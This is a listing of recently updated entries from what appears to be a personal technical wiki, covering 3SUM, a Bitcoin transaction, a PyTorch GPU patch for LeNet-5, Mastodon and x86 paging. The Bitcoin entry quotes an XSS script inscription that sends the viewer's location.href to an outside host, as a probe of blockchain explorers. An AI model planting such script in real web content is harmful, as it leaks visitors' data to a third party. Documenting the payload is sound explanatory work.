3SUM Updated +Created
It is cool how even for such a "simple looking" problem, we were still unable to prove optimality as of 2020.
4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af Updated +Created
Output 0 does:
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP
where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`
This is almost spendable with:
1 OP_TOALTSTACK 10 1 2
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
4G Updated +Created
activatedgeek/LeNet-5 run on GPU Updated +Created
By default, the setup runs on CPU only, not GPU, as could be seen by running htop. But by the magic of PyTorch, modifying the program to run on the GPU is trivial:
cat << EOF | patch
diff --git a/run.py b/run.py
index 104d363..20072d1 100644
--- a/run.py
+++ b/run.py
@@ -24,7 +24,8 @@ data_test = MNIST('./data/mnist',
 data_train_loader = DataLoader(data_train, batch_size=256, shuffle=True, num_workers=8)
 data_test_loader = DataLoader(data_test, batch_size=1024, num_workers=8)

-net = LeNet5()
+device = 'cuda'
+net = LeNet5().to(device)
 criterion = nn.CrossEntropyLoss()
 optimizer = optim.Adam(net.parameters(), lr=2e-3)

@@ -43,6 +44,8 @@ def train(epoch):
     net.train()
     loss_list, batch_list = [], []
     for i, (images, labels) in enumerate(data_train_loader):
+        labels = labels.to(device)
+        images = images.to(device)
         optimizer.zero_grad()

         output = net(images)
@@ -71,6 +74,8 @@ def test():
     total_correct = 0
     avg_loss = 0.0
     for i, (images, labels) in enumerate(data_test_loader):
+        labels = labels.to(device)
+        images = images.to(device)
         output = net(images)
         avg_loss += criterion(output, labels).sum()
         pred = output.detach().max(1)[1]
@@ -84,7 +89,7 @@ def train_and_test(epoch):
     train(epoch)
     test()

-    dummy_input = torch.randn(1, 1, 32, 32, requires_grad=True)
+    dummy_input = torch.randn(1, 1, 32, 32, requires_grad=True).to(device)
     torch.onnx.export(net, dummy_input, "lenet.onnx")

     onnx_model = onnx.load("lenet.onnx")
EOF
and leads to a faster runtime, with less user as now we are spending more time on the GPU than CPU:
real    1m27.829s
user    4m37.266s
sys     0m27.562s
Mastodon (software) Updated +Created
Of course those racist Nazis are a bunch of idiots, but how can you be surprised when freedom-of-speech focused tech gets used by them? www.theverge.com/2019/7/12/20691957/mastodon-decentralized-social-network-gab-migration-fediverse-app-blocking
Obviously, a few large instances dominate the user base for all practical purposes: kevq.uk/centralisation-and-mastodon/. And likely the network splits into hate-speech/non-hate-speech blacklist boundaries. And since the dominating closed networks will never lose user counts (???), the only instance that dominates will be the main hate speech one.
The flagship instance was mastodon.social and then in 2020 they closed signups for it and created a secondary mastodon.online.
The "advanced interface" feature is bad. Really bad. MacOS file browser inspired.
The art of programming Updated +Created
Just art:
  • useless mathy stuff
  • incredibly nifty little tools that are just so satisfying to use it is mind blowing:
  • media related stuff
W Updated +Created
x86 Paging Tutorial / Why not a balanced tree Updated +Created
Learned readers will ask themselves: so why use an unbalanced tree instead of balanced one, which offers better asymptotic times en.wikipedia.org/wiki/Self-balancing_binary_search_tree?
Likely:
  • the maximum number of entries is small enough due to memory size limitations, that we won't waste too much memory with the root directory entry
  • different entries would have different levels, and thus different access times
  • tree rotations would likely make caching more complicated
XML Updated +Created
1908 Nobel Prize in Chemistry Updated +Created
Applications of Josephson Junctions Updated +Created
Et aliī Updated +Created
F Updated +Created
Y Updated +Created
Z Updated +Created
Harmonic function Updated +Created

There are unlisted articles, also show them or only show them.